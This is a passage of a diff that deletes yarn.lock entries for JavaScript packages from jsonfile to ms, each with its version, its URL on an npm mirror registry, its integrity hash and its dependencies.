-  integrity sha1-Lf7+cgxrpSXZ69kJlQ8FFTFsiaM=
-  dependencies:
-    minimist "^1.2.5"
-
-jsonfile@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.nlark.com/jsonfile/download/jsonfile-4.0.0.tgz#8771aae0799b64076b76640fca058f9c10e33ecb"
-  integrity sha1-h3Gq4HmbZAdrdmQPygWPnBDjPss=
-  optionalDependencies:
-    graceful-fs "^4.1.6"
-
-jsonfile@^6.0.1:
-  version "6.1.0"
-  resolved "https://registry.nlark.com/jsonfile/download/jsonfile-6.1.0.tgz#bc55b2634793c679ec6403094eb13698a6ec0aae"
-  integrity sha1-vFWyY0eTxnnsZAMJTrE2mKbsCq4=
-  dependencies:
-    universalify "^2.0.0"
-  optionalDependencies:
-    graceful-fs "^4.1.6"
-
-"jsx-ast-utils@^2.4.1 || ^3.0.0", jsx-ast-utils@^3.1.0:
-  version "3.2.0"
-  resolved "https://registry.npm.taobao.org/jsx-ast-utils/download/jsx-ast-utils-3.2.0.tgz#41108d2cec408c3453c1bbe8a4aae9e1e2bd8f82"
-  integrity sha1-QRCNLOxAjDRTwbvopKrp4eK9j4I=
-  dependencies:
-    array-includes "^3.1.2"
-    object.assign "^4.1.2"
-
-killable@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/killable/download/killable-1.0.1.tgz#4c8ce441187a061c7474fb87ca08e2a638194892"
-  integrity sha1-TIzkQRh6Bhx0dPuHygjipjgZSJI=
-
-kind-of@^3.0.2, kind-of@^3.0.3, kind-of@^3.2.0:
-  version "3.2.2"
-  resolved "https://registry.nlark.com/kind-of/download/kind-of-3.2.2.tgz#31ea21a734bab9bbb0f32466d893aea51e4a3c64"
-  integrity sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=
-  dependencies:
-    is-buffer "^1.1.5"
-
-kind-of@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.nlark.com/kind-of/download/kind-of-4.0.0.tgz#20813df3d712928b207378691a45066fae72dd57"
-  integrity sha1-IIE989cSkosgc3hpGkUGb65y3Vc=
-  dependencies:
-    is-buffer "^1.1.5"
-
-kind-of@^5.0.0:
-  version "5.1.0"
-  resolved "https://registry.nlark.com/kind-of/download/kind-of-5.1.0.tgz#729c91e2d857b7a419a1f9aa65685c4c33f5845d"
-  integrity sha1-cpyR4thXt6QZofmqZWhcTDP1hF0=
-
-kind-of@^6.0.0, kind-of@^6.0.2:
-  version "6.0.3"
-  resolved "https://registry.nlark.com/kind-of/download/kind-of-6.0.3.tgz#07c05034a6c349fa06e24fa35aa76db4580ce4dd"
-  integrity sha1-B8BQNKbDSfoG4k+jWqdttFgM5N0=
-
-kleur@^3.0.3:
-  version "3.0.3"
-  resolved "https://registry.npm.taobao.org/kleur/download/kleur-3.0.3.tgz#a79c9ecc86ee1ce3fa6206d1216c501f147fc07e"
-  integrity sha1-p5yezIbuHOP6YgbRIWxQHxR/wH4=
-
-klona@^2.0.4:
-  version "2.0.4"
-  resolved "https://registry.npm.taobao.org/klona/download/klona-2.0.4.tgz#7bb1e3affb0cb8624547ef7e8f6708ea2e39dfc0"
-  integrity sha1-e7Hjr/sMuGJFR+9+j2cI6i4538A=
-
-language-subtag-registry@~0.3.2:
-  version "0.3.21"
-  resolved "https://registry.npm.taobao.org/language-subtag-registry/download/language-subtag-registry-0.3.21.tgz#04ac218bea46f04cb039084602c6da9e788dd45a"
-  integrity sha1-BKwhi+pG8EywOQhGAsbanniN1Fo=
-
-language-tags@^1.0.5:
-  version "1.0.5"
-  resolved "https://registry.npm.taobao.org/language-tags/download/language-tags-1.0.5.tgz#d321dbc4da30ba8bf3024e040fa5c14661f9193a"
-  integrity sha1-0yHbxNowuovzAk4ED6XBRmH5GTo=
-  dependencies:
-    language-subtag-registry "~0.3.2"
-
-last-call-webpack-plugin@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/last-call-webpack-plugin/download/last-call-webpack-plugin-3.0.0.tgz#9742df0e10e3cf46e5c0381c2de90d3a7a2d7555"
-  integrity sha1-l0LfDhDjz0blwDgcLekNOnotdVU=
-  dependencies:
-    lodash "^4.17.5"
-    webpack-sources "^1.1.0"
-
-leven@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.npm.taobao.org/leven/download/leven-3.1.0.tgz#77891de834064cccba82ae7842bb6b14a13ed7f2"
-  integrity sha1-d4kd6DQGTMy6gq54QrtrFKE+1/I=
-
-levn@^0.4.1:
-  version "0.4.1"
-  resolved "https://registry.npm.taobao.org/levn/download/levn-0.4.1.tgz#ae4562c007473b932a6200d403268dd2fffc6ade"
-  integrity sha1-rkViwAdHO5MqYgDUAyaN0v/8at4=
-  dependencies:
-    prelude-ls "^1.2.1"
-    type-check "~0.4.0"
-
-levn@~0.3.0:
-  version "0.3.0"
-  resolved "https://registry.npm.taobao.org/levn/download/levn-0.3.0.tgz#3b09924edf9f083c0490fdd4c0bc4421e04764ee"
-  integrity sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=
-  dependencies:
-    prelude-ls "~1.1.2"
-    type-check "~0.3.2"
-
-lines-and-columns@^1.1.6:
-  version "1.1.6"
-  resolved "https://registry.npm.taobao.org/lines-and-columns/download/lines-and-columns-1.1.6.tgz#1c00c743b433cd0a4e80758f7b64a57440d9ff00"
-  integrity sha1-HADHQ7QzzQpOgHWPe2SldEDZ/wA=
-
-load-json-file@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.npm.taobao.org/load-json-file/download/load-json-file-4.0.0.tgz#2f5f45ab91e33216234fd53adab668eb4ec0993b"
-  integrity sha1-L19Fq5HjMhYjT9U62rZo607AmTs=
-  dependencies:
-    graceful-fs "^4.1.2"
-    parse-json "^4.0.0"
-    pify "^3.0.0"
-    strip-bom "^3.0.0"
-
-loader-runner@^2.4.0:
-  version "2.4.0"
-  resolved "https://registry.npm.taobao.org/loader-runner/download/loader-runner-2.4.0.tgz?cache=0&sync_timestamp=1610027943366&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Floader-runner%2Fdownload%2Floader-runner-2.4.0.tgz#ed47066bfe534d7e84c4c7b9998c2a75607d9357"
-  integrity sha1-7UcGa/5TTX6ExMe5mYwqdWB9k1c=
-
-loader-utils@1.2.3:
-  version "1.2.3"
-  resolved "https://registry.npm.taobao.org/loader-utils/download/loader-utils-1.2.3.tgz#1ff5dc6911c9f0a062531a4c04b609406108c2c7"
-  integrity sha1-H/XcaRHJ8KBiUxpMBLYJQGEIwsc=
-  dependencies:
-    big.js "^5.2.2"
-    emojis-list "^2.0.0"
-    json5 "^1.0.1"
-
-loader-utils@2.0.0, loader-utils@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/loader-utils/download/loader-utils-2.0.0.tgz#e4cace5b816d425a166b5f097e10cd12b36064b0"
-  integrity sha1-5MrOW4FtQloWa18JfhDNErNgZLA=
-  dependencies:
-    big.js "^5.2.2"
-    emojis-list "^3.0.0"
-    json5 "^2.1.2"
-
-loader-utils@^1.1.0, loader-utils@^1.2.3, loader-utils@^1.4.0:
-  version "1.4.0"
-  resolved "https://registry.npm.taobao.org/loader-utils/download/loader-utils-1.4.0.tgz#c579b5e34cb34b1a74edc6c1fb36bfa371d5a613"
-  integrity sha1-xXm140yzSxp07cbB+za/o3HVphM=
-  dependencies:
-    big.js "^5.2.2"
-    emojis-list "^3.0.0"
-    json5 "^1.0.1"
-
-locate-path@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/locate-path/download/locate-path-2.0.0.tgz#2b568b265eec944c6d9c0de9c3dbbbca0354cd8e"
-  integrity sha1-K1aLJl7slExtnA3pw9u7ygNUzY4=
-  dependencies:
-    p-locate "^2.0.0"
-    path-exists "^3.0.0"
-
-locate-path@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/locate-path/download/locate-path-3.0.0.tgz#dbec3b3ab759758071b58fe59fc41871af21400e"
-  integrity sha1-2+w7OrdZdYBxtY/ln8QYca8hQA4=
-  dependencies:
-    p-locate "^3.0.0"
-    path-exists "^3.0.0"
-
-locate-path@^5.0.0:
-  version "5.0.0"
-  resolved "https://registry.npm.taobao.org/locate-path/download/locate-path-5.0.0.tgz#1afba396afd676a6d42504d0a67a3a7eb9f62aa0"
-  integrity sha1-Gvujlq/WdqbUJQTQpno6frn2KqA=
-  dependencies:
-    p-locate "^4.1.0"
-
-lodash._reinterpolate@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/lodash._reinterpolate/download/lodash._reinterpolate-3.0.0.tgz#0ccf2d89166af03b3663c796538b75ac6e114d9d"
-  integrity sha1-DM8tiRZq8Ds2Y8eWU4t1rG4RTZ0=
-
-lodash.clonedeep@^4.5.0:
-  version "4.5.0"
-  resolved "https://registry.npm.taobao.org/lodash.clonedeep/download/lodash.clonedeep-4.5.0.tgz#e23f3f9c4f8fbdde872529c1071857a086e5ccef"
-  integrity sha1-4j8/nE+Pvd6HJSnBBxhXoIblzO8=
-
-lodash.debounce@^4.0.8:
-  version "4.0.8"
-  resolved "https://registry.npm.taobao.org/lodash.debounce/download/lodash.debounce-4.0.8.tgz#82d79bff30a67c4005ffd5e2515300ad9ca4d7af"
-  integrity sha1-gteb/zCmfEAF/9XiUVMArZyk168=
-
-lodash.memoize@^4.1.2:
-  version "4.1.2"
-  resolved "https://registry.npm.taobao.org/lodash.memoize/download/lodash.memoize-4.1.2.tgz#bcc6c49a42a2840ed997f323eada5ecd182e0bfe"
-  integrity sha1-vMbEmkKihA7Zl/Mj6tpezRguC/4=
-
-lodash.merge@^4.6.2:
-  version "4.6.2"
-  resolved "https://registry.npm.taobao.org/lodash.merge/download/lodash.merge-4.6.2.tgz#558aa53b43b661e1925a0afdfa36a9a1085fe57a"
-  integrity sha1-VYqlO0O2YeGSWgr9+japoQhf5Xo=
-
-lodash.template@^4.5.0:
-  version "4.5.0"
-  resolved "https://registry.npm.taobao.org/lodash.template/download/lodash.template-4.5.0.tgz#f976195cf3f347d0d5f52483569fe8031ccce8ab"
-  integrity sha1-+XYZXPPzR9DV9SSDVp/oAxzM6Ks=
-  dependencies:
-    lodash._reinterpolate "^3.0.0"
-    lodash.templatesettings "^4.0.0"
-
-lodash.templatesettings@^4.0.0:
-  version "4.2.0"
-  resolved "https://registry.npm.taobao.org/lodash.templatesettings/download/lodash.templatesettings-4.2.0.tgz#e481310f049d3cf6d47e912ad09313b154f0fb33"
-  integrity sha1-5IExDwSdPPbUfpEq0JMTsVTw+zM=
-  dependencies:
-    lodash._reinterpolate "^3.0.0"
-
-lodash.truncate@^4.4.2:
-  version "4.4.2"
-  resolved "https://registry.npm.taobao.org/lodash.truncate/download/lodash.truncate-4.4.2.tgz#5a350da0b1113b837ecfffd5812cbe58d6eae193"
-  integrity sha1-WjUNoLERO4N+z//VgSy+WNbq4ZM=
-
-lodash.uniq@^4.5.0:
-  version "4.5.0"
-  resolved "https://registry.npm.taobao.org/lodash.uniq/download/lodash.uniq-4.5.0.tgz#d0225373aeb652adc1bc82e4945339a842754773"
-  integrity sha1-0CJTc662Uq3BvILklFM5qEJ1R3M=
-
-"lodash@>=3.5 <5", lodash@^4.17.11, lodash@^4.17.14, lodash@^4.17.15, lodash@^4.17.19, lodash@^4.17.20, lodash@^4.17.21, lodash@^4.17.5, lodash@^4.7.0:
-  version "4.17.21"
-  resolved "https://registry.npm.taobao.org/lodash/download/lodash-4.17.21.tgz#679591c564c3bffaae8454cf0b3df370c3d6911c"
-  integrity sha1-Z5WRxWTDv/quhFTPCz3zcMPWkRw=
-
-loglevel@^1.6.8:
-  version "1.7.1"
-  resolved "https://registry.npm.taobao.org/loglevel/download/loglevel-1.7.1.tgz#005fde2f5e6e47068f935ff28573e125ef72f197"
-  integrity sha1-AF/eL15uRwaPk1/yhXPhJe9y8Zc=
-
-loose-envify@^1.0.0, loose-envify@^1.1.0, loose-envify@^1.4.0:
-  version "1.4.0"
-  resolved "https://registry.npm.taobao.org/loose-envify/download/loose-envify-1.4.0.tgz#71ee51fa7be4caec1a63839f7e682d8132d30caf"
-  integrity sha1-ce5R+nvkyuwaY4OffmgtgTLTDK8=
-  dependencies:
-    js-tokens "^3.0.0 || ^4.0.0"
-
-lower-case@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.npm.taobao.org/lower-case/download/lower-case-2.0.2.tgz?cache=0&sync_timestamp=1606867384237&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Flower-case%2Fdownload%2Flower-case-2.0.2.tgz#6fa237c63dbdc4a82ca0fd882e4722dc5e634e28"
-  integrity sha1-b6I3xj29xKgsoP2ILkci3F5jTig=
-  dependencies:
-    tslib "^2.0.3"
-
-lru-cache@^5.1.1:
-  version "5.1.1"
-  resolved "https://registry.npm.taobao.org/lru-cache/download/lru-cache-5.1.1.tgz#1da27e6710271947695daf6848e847f01d84b920"
-  integrity sha1-HaJ+ZxAnGUdpXa9oSOhH8B2EuSA=
-  dependencies:
-    yallist "^3.0.2"
-
-lru-cache@^6.0.0:
-  version "6.0.0"
-  resolved "https://registry.npm.taobao.org/lru-cache/download/lru-cache-6.0.0.tgz#6d6fe6570ebd96aaf90fcad1dafa3b2566db3a94"
-  integrity sha1-bW/mVw69lqr5D8rR2vo7JWbbOpQ=
-  dependencies:
-    yallist "^4.0.0"
-
-lz-string@^1.4.4:
-  version "1.4.4"
-  resolved "https://registry.npm.taobao.org/lz-string/download/lz-string-1.4.4.tgz#c0d8eaf36059f705796e1e344811cf4c498d3a26"
-  integrity sha1-wNjq82BZ9wV5bh40SBHPTEmNOiY=
-
-magic-string@^0.25.0, magic-string@^0.25.7:
-  version "0.25.7"
-  resolved "https://registry.npm.taobao.org/magic-string/download/magic-string-0.25.7.tgz#3f497d6fd34c669c6798dcb821f2ef31f5445051"
-  integrity sha1-P0l9b9NMZpxnmNy4IfLvMfVEUFE=
-  dependencies:
-    sourcemap-codec "^1.4.4"
-
-make-dir@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.nlark.com/make-dir/download/make-dir-2.1.0.tgz?cache=0&sync_timestamp=1618846999388&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fmake-dir%2Fdownload%2Fmake-dir-2.1.0.tgz#5f0310e18b8be898cc07009295a30ae41e91e6f5"
-  integrity sha1-XwMQ4YuL6JjMBwCSlaMK5B6R5vU=
-  dependencies:
-    pify "^4.0.1"
-    semver "^5.6.0"
-
-make-dir@^3.0.0, make-dir@^3.0.2:
-  version "3.1.0"
-  resolved "https://registry.nlark.com/make-dir/download/make-dir-3.1.0.tgz?cache=0&sync_timestamp=1618846999388&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fmake-dir%2Fdownload%2Fmake-dir-3.1.0.tgz#415e967046b3a7f1d185277d84aa58203726a13f"
-  integrity sha1-QV6WcEazp/HRhSd9hKpYIDcmoT8=
-  dependencies:
-    semver "^6.0.0"
-
-makeerror@1.0.x:
-  version "1.0.11"
-  resolved "https://registry.npm.taobao.org/makeerror/download/makeerror-1.0.11.tgz#e01a5c9109f2af79660e4e8b9587790184f5a96c"
-  integrity sha1-4BpckQnyr3lmDk6LlYd5AYT1qWw=
-  dependencies:
-    tmpl "1.0.x"
-
-map-cache@^0.2.2:
-  version "0.2.2"
-  resolved "https://registry.npm.taobao.org/map-cache/download/map-cache-0.2.2.tgz#c32abd0bd6525d9b051645bb4f26ac5dc98a0dbf"
-  integrity sha1-wyq9C9ZSXZsFFkW7TyasXcmKDb8=
-
-map-visit@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/map-visit/download/map-visit-1.0.0.tgz#ecdca8f13144e660f1b5bd41f12f3479d98dfb8f"
-  integrity sha1-7Nyo8TFE5mDxtb1B8S80edmN+48=
-  dependencies:
-    object-visit "^1.0.0"
-
-md5.js@^1.3.4:
-  version "1.3.5"
-  resolved "https://registry.npm.taobao.org/md5.js/download/md5.js-1.3.5.tgz#b5d07b8e3216e3e27cd728d72f70d1e6a342005f"
-  integrity sha1-tdB7jjIW4+J81yjXL3DR5qNCAF8=
-  dependencies:
-    hash-base "^3.0.0"
-    inherits "^2.0.1"
-    safe-buffer "^5.1.2"
-
-mdn-data@2.0.14:
-  version "2.0.14"
-  resolved "https://registry.nlark.com/mdn-data/download/mdn-data-2.0.14.tgz#7113fc4281917d63ce29b43446f701e68c25ba50"
-  integrity sha1-cRP8QoGRfWPOKbQ0RvcB5owlulA=
-
-mdn-data@2.0.4:
-  version "2.0.4"
-  resolved "https://registry.nlark.com/mdn-data/download/mdn-data-2.0.4.tgz#699b3c38ac6f1d728091a64650b65d388502fd5b"
-  integrity sha1-aZs8OKxvHXKAkaZGULZdOIUC/Vs=
-
-media-typer@0.3.0:
-  version "0.3.0"
-  resolved "https://registry.nlark.com/media-typer/download/media-typer-0.3.0.tgz#8710d7af0aa626f8fffa1ce00168545263255748"
-  integrity sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g=
-
-memory-fs@^0.4.1:
-  version "0.4.1"
-  resolved "https://registry.npm.taobao.org/memory-fs/download/memory-fs-0.4.1.tgz#3a9a20b8462523e447cfbc7e8bb80ed667bfc552"
-  integrity sha1-OpoguEYlI+RHz7x+i7gO1me/xVI=
-  dependencies:
-    errno "^0.1.3"
-    readable-stream "^2.0.1"
-
-memory-fs@^0.5.0:
-  version "0.5.0"
-  resolved "https://registry.npm.taobao.org/memory-fs/download/memory-fs-0.5.0.tgz#324c01288b88652966d161db77838720845a8e3c"
-  integrity sha1-MkwBKIuIZSlm0WHbd4OHIIRajjw=
-  dependencies:
-    errno "^0.1.3"
-    readable-stream "^2.0.1"
-
-merge-descriptors@1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/merge-descriptors/download/merge-descriptors-1.0.1.tgz#b00aaa556dd8b44568150ec9d1b953f3f90cbb61"
-  integrity sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E=
-
-merge-stream@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/merge-stream/download/merge-stream-2.0.0.tgz#52823629a14dd00c9770fb6ad47dc6310f2c1f60"
-  integrity sha1-UoI2KaFN0AyXcPtq1H3GMQ8sH2A=
-
-merge2@^1.3.0:
-  version "1.4.1"
-  resolved "https://registry.npm.taobao.org/merge2/download/merge2-1.4.1.tgz#4368892f885e907455a6fd7dc55c0c9d404990ae"
-  integrity sha1-Q2iJL4hekHRVpv19xVwMnUBJkK4=
-
-methods@~1.1.2:
-  version "1.1.2"
-  resolved "https://registry.npm.taobao.org/methods/download/methods-1.1.2.tgz#5529a4d67654134edcc5266656835b0f851afcee"
-  integrity sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4=
-
-microevent.ts@~0.1.1:
-  version "0.1.1"
-  resolved "https://registry.npm.taobao.org/microevent.ts/download/microevent.ts-0.1.1.tgz#70b09b83f43df5172d0205a63025bce0f7357fa0"
-  integrity sha1-cLCbg/Q99RctAgWmMCW84Pc1f6A=
-
-micromatch@^3.1.10, micromatch@^3.1.4:
-  version "3.1.10"
-  resolved "https://registry.npm.taobao.org/micromatch/download/micromatch-3.1.10.tgz?cache=0&sync_timestamp=1618054787196&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fmicromatch%2Fdownload%2Fmicromatch-3.1.10.tgz#70859bc95c9840952f359a068a3fc49f9ecfac23"
-  integrity sha1-cIWbyVyYQJUvNZoGij/En57PrCM=
-  dependencies:
-    arr-diff "^4.0.0"
-    array-unique "^0.3.2"
-    braces "^2.3.1"
-    define-property "^2.0.2"
-    extend-shallow "^3.0.2"
-    extglob "^2.0.4"
-    fragment-cache "^0.2.1"
-    kind-of "^6.0.2"
-    nanomatch "^1.2.9"
-    object.pick "^1.3.0"
-    regex-not "^1.0.0"
-    snapdragon "^0.8.1"
-    to-regex "^3.0.2"
-
-micromatch@^4.0.2:
-  version "4.0.4"
-  resolved "https://registry.npm.taobao.org/micromatch/download/micromatch-4.0.4.tgz?cache=0&sync_timestamp=1618054787196&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fmicromatch%2Fdownload%2Fmicromatch-4.0.4.tgz#896d519dfe9db25fce94ceb7a500919bf881ebf9"
-  integrity sha1-iW1Rnf6dsl/OlM63pQCRm/iB6/k=
-  dependencies:
-    braces "^3.0.1"
-    picomatch "^2.2.3"
-
-miller-rabin@^4.0.0:
-  version "4.0.1"
-  resolved "https://registry.npm.taobao.org/miller-rabin/download/miller-rabin-4.0.1.tgz#f080351c865b0dc562a8462966daa53543c78a4d"
-  integrity sha1-8IA1HIZbDcViqEYpZtqlNUPHik0=
-  dependencies:
-    bn.js "^4.0.0"
-    brorand "^1.0.1"
-
-mime-db@1.48.0, "mime-db@>= 1.43.0 < 2":
-  version "1.48.0"
-  resolved "https://registry.nlark.com/mime-db/download/mime-db-1.48.0.tgz#e35b31045dd7eada3aaad537ed88a33afbef2d1d"
-  integrity sha1-41sxBF3X6to6qtU37YijOvvvLR0=
-
-mime-types@^2.1.12, mime-types@^2.1.27, mime-types@~2.1.17, mime-types@~2.1.24:
-  version "2.1.31"
-  resolved "https://registry.nlark.com/mime-types/download/mime-types-2.1.31.tgz#a00d76b74317c61f9c2db2218b8e9f8e9c5c9e6b"
-  integrity sha1-oA12t0MXxh+cLbIhi46fjpxcnms=
-  dependencies:
-    mime-db "1.48.0"
-
-mime@1.6.0:
-  version "1.6.0"
-  resolved "https://registry.npm.taobao.org/mime/download/mime-1.6.0.tgz#32cd9e5c64553bd58d19a568af452acff04981b1"
-  integrity sha1-Ms2eXGRVO9WNGaVor0Uqz/BJgbE=
-
-mime@^2.4.4:
-  version "2.5.2"
-  resolved "https://registry.npm.taobao.org/mime/download/mime-2.5.2.tgz#6e3dc6cc2b9510643830e5f19d5cb753da5eeabe"
-  integrity sha1-bj3GzCuVEGQ4MOXxnVy3U9pe6r4=
-
-mimic-fn@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.npm.taobao.org/mimic-fn/download/mimic-fn-2.1.0.tgz?cache=0&sync_timestamp=1617823583529&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fmimic-fn%2Fdownload%2Fmimic-fn-2.1.0.tgz#7ed2c2ccccaf84d3ffcb7a69b57711fc2083401b"
-  integrity sha1-ftLCzMyvhNP/y3pptXcR/CCDQBs=
-
-min-indent@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.nlark.com/min-indent/download/min-indent-1.0.1.tgz#a63f681673b30571fbe8bc25686ae746eefa9869"
-  integrity sha1-pj9oFnOzBXH76LwlaGrnRu76mGk=
-
-mini-css-extract-plugin@0.11.3:
-  version "0.11.3"
-  resolved "https://registry.nlark.com/mini-css-extract-plugin/download/mini-css-extract-plugin-0.11.3.tgz?cache=0&sync_timestamp=1619783258317&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fmini-css-extract-plugin%2Fdownload%2Fmini-css-extract-plugin-0.11.3.tgz#15b0910a7f32e62ffde4a7430cfefbd700724ea6"
-  integrity sha1-FbCRCn8y5i/95KdDDP771wByTqY=
-  dependencies:
-    loader-utils "^1.1.0"
-    normalize-url "1.9.1"
-    schema-utils "^1.0.0"
-    webpack-sources "^1.1.0"
-
-minimalistic-assert@^1.0.0, minimalistic-assert@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/minimalistic-assert/download/minimalistic-assert-1.0.1.tgz#2e194de044626d4a10e7f7fbc00ce73e83e4d5c7"
-  integrity sha1-LhlN4ERibUoQ5/f7wAznPoPk1cc=
-
-minimalistic-crypto-utils@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/minimalistic-crypto-utils/download/minimalistic-crypto-utils-1.0.1.tgz#f6c00c1c0b082246e5c4d99dfb8c7c083b2b582a"
-  integrity sha1-9sAMHAsIIkblxNmd+4x8CDsrWCo=
-
-minimatch@3.0.4, minimatch@^3.0.4:
-  version "3.0.4"
-  resolved "https://registry.npm.taobao.org/minimatch/download/minimatch-3.0.4.tgz#5166e286457f03306064be5497e8dbb0c3d32083"
-  integrity sha1-UWbihkV/AzBgZL5Ul+jbsMPTIIM=
-  dependencies:
-    brace-expansion "^1.1.7"
-
-minimist@^1.1.1, minimist@^1.2.0, minimist@^1.2.5:
-  version "1.2.5"
-  resolved "https://registry.npm.taobao.org/minimist/download/minimist-1.2.5.tgz?cache=0&sync_timestamp=1602337228360&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fminimist%2Fdownload%2Fminimist-1.2.5.tgz#67d66014b66a6a8aaa0c083c5fd58df4e4e97602"
-  integrity sha1-Z9ZgFLZqaoqqDAg8X9WN9OTpdgI=
-
-minipass-collect@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.npm.taobao.org/minipass-collect/download/minipass-collect-1.0.2.tgz#22b813bf745dc6edba2576b940022ad6edc8c617"
-  integrity sha1-IrgTv3Rdxu26JXa5QAIq1u3Ixhc=
-  dependencies:
-    minipass "^3.0.0"
-
-minipass-flush@^1.0.5:
-  version "1.0.5"
-  resolved "https://registry.npm.taobao.org/minipass-flush/download/minipass-flush-1.0.5.tgz#82e7135d7e89a50ffe64610a787953c4c4cbb373"
-  integrity sha1-gucTXX6JpQ/+ZGEKeHlTxMTLs3M=
-  dependencies:
-    minipass "^3.0.0"
-
-minipass-pipeline@^1.2.2:
-  version "1.2.4"
-  resolved "https://registry.npm.taobao.org/minipass-pipeline/download/minipass-pipeline-1.2.4.tgz#68472f79711c084657c067c5c6ad93cddea8214c"
-  integrity sha1-aEcveXEcCEZXwGfFxq2Tzd6oIUw=
-  dependencies:
-    minipass "^3.0.0"
-
-minipass@^3.0.0, minipass@^3.1.1:
-  version "3.1.3"
-  resolved "https://registry.npm.taobao.org/minipass/download/minipass-3.1.3.tgz#7d42ff1f39635482e15f9cdb53184deebd5815fd"
-  integrity sha1-fUL/HzljVILhX5zbUxhN7r1YFf0=
-  dependencies:
-    yallist "^4.0.0"
-
-minizlib@^2.1.1:
-  version "2.1.2"
-  resolved "https://registry.npm.taobao.org/minizlib/download/minizlib-2.1.2.tgz#e90d3466ba209b932451508a11ce3d3632145931"
-  integrity sha1-6Q00Zrogm5MkUVCKEc49NjIUWTE=
-  dependencies:
-    minipass "^3.0.0"
-    yallist "^4.0.0"
-
-mississippi@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/mississippi/download/mississippi-3.0.0.tgz#ea0a3291f97e0b5e8776b363d5f0a12d94c67022"
-  integrity sha1-6goykfl+C16HdrNj1fChLZTGcCI=
-  dependencies:
-    concat-stream "^1.5.0"
-    duplexify "^3.4.2"
-    end-of-stream "^1.1.0"
-    flush-write-stream "^1.0.0"
-    from2 "^2.1.0"
-    parallel-transform "^1.1.0"
-    pump "^3.0.0"
-    pumpify "^1.3.3"
-    stream-each "^1.1.0"
-    through2 "^2.0.0"
-
-mixin-deep@^1.2.0:
-  version "1.3.2"
-  resolved "https://registry.npm.taobao.org/mixin-deep/download/mixin-deep-1.3.2.tgz#1120b43dc359a785dce65b55b82e257ccf479566"
-  integrity sha1-ESC0PcNZp4Xc5ltVuC4lfM9HlWY=
-  dependencies:
-    for-in "^1.0.2"
-    is-extendable "^1.0.1"
-
-mkdirp@^0.5.1, mkdirp@^0.5.3, mkdirp@^0.5.5, mkdirp@~0.5.1:
-  version "0.5.5"
-  resolved "https://registry.npm.taobao.org/mkdirp/download/mkdirp-0.5.5.tgz#d91cefd62d1436ca0f41620e251288d420099def"
-  integrity sha1-2Rzv1i0UNsoPQWIOJRKI1CAJne8=
-  dependencies:
-    minimist "^1.2.5"
-
-mkdirp@^1.0.3, mkdirp@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.npm.taobao.org/mkdirp/download/mkdirp-1.0.4.tgz#3eb5ed62622756d79a5f0e2a221dfebad75c2f7e"
-  integrity sha1-PrXtYmInVteaXw4qIh3+utdcL34=
-
-move-concurrently@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.nlark.com/move-concurrently/download/move-concurrently-1.0.1.tgz#be2c005fda32e0b29af1f05d7c4b33214c701f92"
-  integrity sha1-viwAX9oy4LKa8fBdfEszIUxwH5I=
-  dependencies:
-    aproba "^1.1.1"
-    copy-concurrently "^1.0.0"
-    fs-write-stream-atomic "^1.0.8"
-    mkdirp "^0.5.1"
-    rimraf "^2.5.4"
-    run-queue "^1.0.3"
-
-ms@2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/ms/download/ms-2.0.0.tgz?cache=0&sync_timestamp=1607433856030&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fms%2Fdownload%2Fms-2.0.0.tgz#5608aeadfc00be6c2901df5f9861788de0d597c8"
-  integrity sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=
-
-ms@2.1.1:
-  version "2.1.1"
-  resolved "https://registry.npm.taobao.org/ms/download/ms-2.1.1.tgz?cache=0&sync_timestamp=1607433856030&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fms%2Fdownload%2Fms-2.1.1.tgz#30a5864eb3ebb0a66f2ebe6d727af06a09d86e0a"
-  integrity sha1-MKWGTrPrsKZvLr5tcnrwagnYbgo=
-
-ms@2.1.2:
-  version "2.1.2"
-  resolved "https://registry.npm.taobao.org/ms/download/ms-2.1.2.tgz?cache=0&sync_timestamp=1607433856030&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fms%2Fdownload%2Fms-2.1.2.tgz#d09d1f357b443f493382a8eb3ccd183872ae6009"
-  integrity sha1-0J0fNXtEP0kzgqjrPM0YOHKuYAk=
-
-ms@^2.1.1:
-  version "2.1.3"
